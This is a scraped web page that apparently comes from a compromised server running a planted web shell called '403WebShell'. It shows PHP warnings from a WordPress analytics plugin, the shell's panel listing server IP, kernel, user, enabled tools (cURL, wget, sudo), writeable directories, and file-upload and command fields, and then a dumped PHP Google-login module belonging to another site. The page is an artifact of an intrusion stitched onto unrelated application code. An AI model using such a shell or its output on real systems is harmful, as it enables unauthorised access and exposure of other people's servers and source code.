Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/loginGoogle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/loginGoogle/index.php
<?php

namespace modules\loginGoogle;

class module_info extends \module {

	function __info() {  
		return [
			'version' => '0.0.2',
			'required' => FALSE,
			'authentication' => 'google',
			'class' => 'modules\\loginGoogle\\main',
			'name' => 'User Authentication - Google account',
			'depends' => ['apiGoogle', 'input', 'database', 'output'],
			'settings' => [
				[
					'name' => 'clientid',
					'caption' => 'Client ID',
					'type' => 'string',
				], [
					'name' => 'secret',
					'caption' => 'Client Secret',
					'type' => 'string',
				], [
					'name' => 'newuser',
					'caption' => 'User Level for New Users',
					'type' => 'select',
                    'options' => [
                        0   => 'do not allow new users',
                        1   => 'registered',
                        3   => 'special',   // company level
                        4   => 'level 4',
                        5   => 'moderator',
                        9   => 'staff (dangerous)',
                       10   => 'admin (extremely dangerous)',
                       11   => 'setup (insanely dangerous)',
                    ],
				],
			],
			'helplink' => 'settings-help',
		];
	}
	
}

/*

https://console.developers.google.com/projectcreate

[screenshot1]

<?php


class login_google Extends AddOn {

// Requires Google library

/*
get credentials from
https://console.developers.google.com/apis/credentials
* /

	function Info() {
		$this->isPost = $this->config->isPost();
		return array(
			'required' => FALSE,
			'title' => 'Log in using Google',
			'type' => 'authentication',
			'display_order' => 2,
		);
	}
	
	// The plugin has been Enabled - time to use it (settings have been loaded at this point)
	function Activate() {
//		$this->display->IncludeFile($this->basedir . '/google.css');
//		$id = $this->display->IncludeFile($this->basedir . '/google.js');
		
		$this->model_user = $this->controller->LoadModel('user_model');
		$this->AddHook('login.html', array($this, '__create_html'));
		$this->AddHook('menu.top.build', array($this, '__add_login_link'));

		if (!empty($_SESSION['google_access_token'])) {
			$this->_init();
			$this->client->setAccessToken($_SESSION['google_access_token']);
		}
		$this->AddHook('create.thumbnail', array($this, '__create_thumbnail'));
//		$this->model_logging = $this->controller->LoadModel('logging_model');

// https://www.googleapis.com/plus/v1/people/<USER-ID>?fields=image&key=<YOUR_API_KEY>
	}
	
	

	
	public function __add_login_link(&$navigation) {
		$user_level = isset($_SESSION['current_user']) ? $_SESSION['current_user']['u_level'] : 0;
		if (!$user_level) {
			$this->_init();
			$googleAuthUrl = $this->client->createAuthUrl();
			$navigation['profile'] = ['caption' => 'Login', 'href' => $googleAuthUrl, 'action' => 1];		// this may be replaced by a different login link
		}
	}
	
	
	private function _processConnectMessage($userdata) {
		global $FRAMEWORK_VAR;
		$this->model_user = $this->controller->LoadModel('user_model');
		
		if (!empty($userdata['email'])) {				// lookup account by email address (user has both Email and Google logins)
			$data = $this->model_user->GetUser($userdata['email'], 'u_email=%s');
			if ($data['__existing']) {
				$this->_updateUserRecord($data, $userdata);					// update user, gender, picture. mark account as confirmed
/*
				try {
					$this->model_logging->Log_Login($data, TRUE, '', get_class($this));
				} catch(Exception $e) {
				}
* /
				$FRAMEWORK_VAR->ExecuteHook('login', $data);		// login
				return 1;
			}
		}

		$data = $this->model_user->GetUser($userdata['email'], 'u_external_id=%s and u_source="login_google"');
		if ($data['__existing']) {
			$this->_updateUserRecord($data, $userdata);
			try {
				$this->model_logging->Log_Login($data, TRUE, '', get_class($this));
			} catch(Exception $e) {
			}
			//  update user, gender, picture.
			$FRAMEWORK_VAR->ExecuteHook('login', $data);		// login
			return 1;
		}
		
	//	- do not log in, but prompt for username
	//		once username is entered, create account, login.
		$_SESSION['google'] = $userdata;
		return 2;
	}

	private function _updateUserRecord(&$data, $userdata) {
		// u_external_id is not updated here.  only when record is created.
		$changed = 0;
		
		$np = $this->controller->LoadHelper('name_parser');
		$name_structure = $np->parse_name($userdata['name']);
		$fname = $name_structure['fname'];
		$lname = $name_structure['lname'];
		
		// break name into firstname / surname
		// if name not manually changed:
		//    update firstname
		//    update surname`
		if ($data['u_firstname'] != $fname) {
			$data['u_firstname'] = $fname;
			$changed++;
		}
		if ($data['u_surname'] != $lname) {
			$data['u_surname'] = $lname;
			$changed++;
		}

		$old = $data['u_email'];
		if ($old != $userdata['email']) {
			$data['u_email'] = $userdata['email'];
			$changed++;
		}

		$old = empty($data['__serial']['photo']) ? '' : $data['__serial']['photo'];
		if ($userdata['picture'] != $old) {
			$data['__serial']['photo'] = $userdata['picture'];
			$changed++;
		}

		if ($data['u_source'] == 'login_email') {
			if (empty($data['__serial']['verified'])) {
				$data['__serial']['verified'] = 1;
				$changed++;
			}
		}

		if ($changed) $this->model_user->setUser($data);
	}
	

	public function __create_html(&$text) {
		$text .= '<div class="con-gp"><a href="#" class="cc-gp ac-login">' . $this->config->Button('Log in using Google', 'fa-google', 'cc-gp') . '</a></div>';
	}

	public function __create_thumbnail(&$payload) {
		$item = '<a href="#" class="cc-gb ac-signin">' . $this->config->Button('Continue with Google', 'fa-google', 'cc-gp') . '</a>';
		$payload .= $item;
	}

/*	private function _GetTransaction($u_id) {
		$param = ['user' => $u_id];
		return $this->model_transaction->GenerateCheck($param);
	}
* /

	// don't accept any errors.  warnings are fine
	private function AddFieldChecks(&$results, $x) {
		foreach($x['field'] as $fieldname => $message_data) {
			if ($message_data['state'] == 1) {
				if (!isset($results['field'])) $results['field'] = array();
				$results['field'][$fieldname] = $message_data;
			}
		}
	}

	private function _CheckAndSave($info, $name_structure) {
		global $FRAMEWORK_VAR;
		$results = array();
		
		// check for errors
		$x = $this->model_user->field_check('create_form[username]', '', $info['username']);
		$this->AddFieldChecks($results, $x);
		
		// check for missing values
		foreach(array('username') as $fieldname) {
			$val = trim($info[$fieldname]);
			$info[$fieldname] = $val;
			if ($val == '') {
				$key = 'create_form[' . $fieldname . ']';
				if (!isset($results['field'][$key])) {
					if (!isset($results['field'])) $results['field'] = array();
					$results['field'][$key] = array('state' => 1, 'message' => '?');	// '?' will be replaced by 'xxx must have a value'
				}
			}
		}
		if (isset($results['field'])) return $results;			// errors present - return with errorlist, no save done.

		$this->model_transaction = $this->controller->LoadModel('transaction_model');

		$zip = trim($info['zip']);
		if ($zip == '') {		// a Bot will fill in this field

			switch($info['gender']) {
				case 'female':
					$gender = 1;
					break;
				case 'male':
					$gender = 2;
					break;
				default:
					$gender = 0;
			}
		
			$user_id = $this->model_user->GenerateRandomID();
			$param = array('verified' => 1, 'photo' => $info['photo']);
			$data = array(
				'__table' => 'user',
				'__existing' => 0,
				'u_id' => $user_id,
				'u_username' => $info['username'],
				'u_external_id' => $info['id'],
				'u_level' => $info['level'],
				'u_source' => 'login_google',
				'u_firstname' => $name_structure['fname'],
				'u_surname' => $name_structure['lname'],
				'u_email' => $info['email'],
				'u_password' => '*',
				'u_gender' => $gender,
				'u_transaction' => '', //$this->_GetTransaction($user_id),
				'u_serial' => serialize($param));
			$this->SaveRecord($data);
			$this->DbErr();
			$FRAMEWORK_VAR->ExecuteHook('login', $data);		// login
		}
		// login
		if (isset($_SESSION['return_url'])) {
			$results['redirect'] = $_SESSION['return_url'];
		} else {
			$results['redirect'] = '/';
		}
		return $results;
	}

	public function create() {
		$np = $this->controller->LoadHelper('name_parser');
		$name_structure = $np->parse_name($_SESSION['google']['name']);
		if ($this->isPost) {
			$info = $_POST['create_form'];
			$info['email'] = $_SESSION['google']['email'];
			$info['id'] = $_SESSION['google']['id'];
			$info['gender'] = ''; //$_SESSION['google']['gender'];
			$info['photo'] = $_SESSION['google']['picture'];
			$info['level'] = $_SESSION['google']['level'];

			return $this->_CheckAndSave($info, $name_structure);
		}
		
// get temp data
		$fname = $name_structure['fname'];

		$html = <<<BLOCK

<h3>One Last Step</h3>
<p>Hi $fname, you are almost done...</p>
<div class="single-col frm">
	<div class="divider dotted"><h5 class="v3">what would you like to be known as?</h5><hr></div>
	<form accept-charset="UTF-8" action="" class="json" method="post">
	<div class="controls-con">
		
		<div class="control-group cf-zip"><div class="controls"><input class="required" id="create_form_zip" name="create_form[zip]" placeholder="ZIP or Postal Code" size="30" type="text"></div>
		<div class="status-message" for="create_form_zip"></div></div>
		
		<div class="control-group cf-username"><div class="controls"><input class="required monitor-change" id="create_form_username" name="create_form[username]" placeholder="Username" size="30" type="text"></div>
		<div class="status-message" for="create_form_username"></div></div>
		
	</div>
	<div class="form-actions right"><button class="btn blue primary">Create Account</button></div>
	</form>
</div>

BLOCK;
		$this->display->SetBody($html);
		echo $this->display;
		exit;
	}

}

*/

Youez - 2016 - github.com/yon3zu
LinuXploit